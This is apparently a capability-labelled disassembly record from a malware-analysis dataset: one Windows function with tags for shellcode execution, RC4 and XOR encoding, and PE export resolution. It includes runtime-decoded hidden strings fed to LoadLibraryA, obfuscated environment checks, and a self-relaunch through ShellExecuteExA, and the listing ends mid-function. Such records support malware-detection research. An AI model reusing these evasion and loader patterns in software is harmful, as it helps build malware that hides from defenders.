Function at 0x14003b2f4
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48548]
mov eax, 0x48620
call fcn.1400ba4b0
sub rsp, rax
mov rax, qword [0x140115700]
xor rax, rsp
mov qword [rbp + 0x48510], rax
mov rax, qword gs:[0xd]
mov esi, 0x9e0d9526
xor ebx, ebx
mov r13d, 0xdb9fe8e7
movabs r11, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
lea r12d, [rbx + 1]
mov r14d, 0xdeadbeef
cmp rax, r13
jne 0x14003b494
mov r10d, esi
mov edi, ebx
mov r8d, ebx
mov r9d, r13d
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14003b375
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
or rax, r14
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003b5ed
add edi, r12d
cmp edi, 5
jl 0x14003b42c
mov ecx, 0xdb9fe8e7
call fcn.140005af4
mov rax, qword gs:[0xd]
mov r15d, reloc.WS2_32.dll_recv
mov r14d, 0xdb9fe8f7
cmp rax, r13
jne 0x14003b603
mov rdi, rbx
mov r8d, r15d
mov r9d, r14d
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003b519
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003b4d9
mov rax, rdi
xor rax, rdi
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r11d, 0xbd2ec3eb
or rcx, r11
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003b5f8
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003b583
jmp 0x14003b609
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14003b732
mov rdi, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
add rcx, r12
sub r9, r12
jne 0x14003b62d
xor r8, 0x232356cd
mov rcx, r8
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003bec5
add edi, r12d
cmp edi, 7
jl 0x14003b6ca
mov ecx, 0xdb9fe8e7
call fcn.1400392b8
mov rax, qword gs:[0xd]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, r13
jne 0x14003b895
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov r14d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14003b76a
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003bed0
add edi, r12d
cmp edi, 5
jl 0x14003b82d
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14003b9cf
mov rdi, rbx
mov r8d, r15d
mov r9, r14
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003b8fa
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003b8ba
mov rax, rdi
xor rax, rdi
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003bedb
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003b963
lea rdx, [0x14010429b]
lea rcx, [rbp + 0x7e0]
call fcn.1400054a8
mov rdx, rax
mov ecx, 0xdb9fe8e7
call fcn.14000c190
mov rax, qword gs:[0xd]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, r13
jne 0x14003bb48
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov r14d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14003ba1d
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003bee6
add edi, r12d
cmp edi, 5
jl 0x14003bae0
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14003bc82
mov rdi, rbx
mov r8d, r15d
mov r9, r14
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003bbad
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003bb6d
mov rax, rdi
xor rax, rdi
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003bef1
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003bc16
mov byte [rbp + 0x240], 0xa6
mov byte [rbp + 0x241], 0x75
mov byte [rbp + 0x242], 0x5a
mov byte [rbp + 0x243], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x244], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x245], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x246], 0x9e
mov byte [rbp + 0x247], 0x58
mov byte [rbp + 0x248], 0xb2
xor eax, eax
mov byte [rbp + 0x249], al
mov r8, rbx
mov esi, 0xfec33fb4
lea r10d, [rax + 9]
movabs r9, 0x8f4dd3d5d
movabs r13, 0x8080808080808081
movabs r11, 0x11e9ba7aba
mov r14d, 0xfec33fb5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x240], dil
add r8, r12
add r9, r14
add r10, 9
cmp r9, r11
jb 0x14003bcf9
mov byte [rbp + 0x249], bl
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0xd]
mov r13d, 0xdb9fe8e7
cmp rax, r13
mov esi, 0x9e0d9526
jne 0x14003bf07
mov r10d, esi
mov rdi, rbx
mov r8d, ebx
mov r9d, r13d
movabs r11, 0x2aaaaaaaaaaaaaab
mov r14d, 0xffafffef
mov ecx, r8d
mov rdx, r13
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14003bda2
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003befc
add edi, r12d
cmp edi, 5
jl 0x14003be5f
jmp 0x14003bf0d
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r10d, 0xdeadbeef
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14003c036
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14003bf31
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003c592
add edi, r12d
cmp edi, 7
jl 0x14003bfce
mov byte [rbp + 0x260], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x261], reloc.WS2_32.dll_socket
mov byte [rbp + 0x262], 0x9b
mov byte [rbp + 0x263], 0x60
mov byte [rbp + Ordinal_414], 0x26
mov byte [rbp + 0x265], reloc.WS2_32.dll_select
mov byte [rbp + 0x266], Ordinal_143
mov byte [rbp + 0x267], 0xf7
mov byte [rbp + 0x268], 0xa4
mov byte [rbp + 0x269], gethostname
mov byte [rbp + 0x26a], 0xe8
mov byte [rbp + 0x26b], 0x88
xor eax, eax
mov byte [rbp + 0x26c], al
mov r8, rbx
movabs rsi, 0x8080808080808081
lea r10d, [rax + 0xc]
movabs r9, 0xbf126fc7c
movabs r11, 0x17e24df8f8
mov r13d, 0xfec33fb5
mov r14d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x260]
xor dil, r8b
mov byte [rbp + r8 + 0x260], dil
add r8, r12
add r9, r13
add r10, 0xc
cmp r9, r11
jb 0x14003c0c3
mov byte [rbp + 0x26c], bl
lea rcx, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
mov esi, 0x9e0d9526
movabs r13, 0xbf126fc7c
mov r14d, 0xdb9fe8f7
jne 0x14003c29f
mov rdi, rbx
mov r8d, r15d
mov r9d, r14d
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003c1c5
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003c185
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
or rdx, rax
mov rcx, qword [rbp + 0xd20]
or rcx, rdx
mov rax, qword [rbp + 0xd18]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003c59d
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14003c233
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140039c54
mov edi, 0x104
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
mov qword [rsp + 0x60], r12
test eax, eax
jne 0x14003dc4f
mov esi, ebx
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x282f0]
call fcn.1400e4780
mov r8d, edi
lea rdx, [rbp + 0x282f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14003c87d
xor edx, edx
lea r8d, [r14 - 0x10]
lea rcx, [rbp + 0xcb0]
call fcn.1400e4780
mov dword [rbp + 0xca0], r14d
mov dword [rbp + 0xca4], 0x400
mov qword [rbp + 0xca8], rbx
mov byte [rbp - 0x48], 0x55
mov byte [rbp - 0x47], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x46], 0xa6
mov byte [rbp - 0x45], 0x35
mov byte [rbp - 0x44], reloc.WLDAP32.dll_Ordinal_27
xor eax, eax
mov byte [rbp - 0x43], al
mov r8, rbx
movabs r9, 0x4f9d03e89
lea r10d, [r14 - 0x6b]
movabs r11, 0x8080808080808081
mov r13d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x48], dil
inc r8
add r9, r13
add r10, 5
movabs rax, 0x9f3a07d12
cmp r9, rax
jb 0x14003c366
mov byte [rbp - 0x43], bl
lea rax, [rbp - 0x48]
mov qword [rbp + 0xcb0], rax
lea rax, [rbp + 0x282f0]
mov qword [rbp + 0xcb8], rax
mov byte [rbp - 0x77], bl
lea rax, [rbp - 0x77]
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], rbx
mov dword [rbp + 0xcd0], 1
mov qword [rbp + 0xcd8], rbx
lea rcx, [rbp + 0xca0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov rcx, qword gs:[0xd]
test eax, eax
movabs r12, 0x5f8937e3e
movabs r13, 0xbf126fc7c
mov r10d, 0xdb9fe8e7
je 0x14003c5b3
mov r12d, 1
cmp rcx, r10
jne 0x14003c589
mov rdi, rbx
mov r8d, 0xdb9fe8f7
lea r9d, [r12 + 0xf]
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0xc9120f8b6b5ff569
sub r9d, r12d
sub r8, r12
mov rax, r11
imul r8
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r8
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r9d
and ecx, 0x80000003
jge 0x14003c4b5
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r9d, r9d
jne 0x14003c475
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
movsxd rcx, ebx
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, ebx, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003c5a8
add ebx, r12d
mov eax, 0xa
cmp ebx, eax
jl 0x14003c521
mov ecx, r12d
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
cmp rcx, r10
jne 0x14003c6f6
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xdb9fe8f7
movabs r11, 0x2aaaaaaaaaaaaaab
movabs r10, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003c61d
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003c5df
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003c867
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003c68b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x14003c883
mov r8d, 0x9e0d9526
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs r14, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
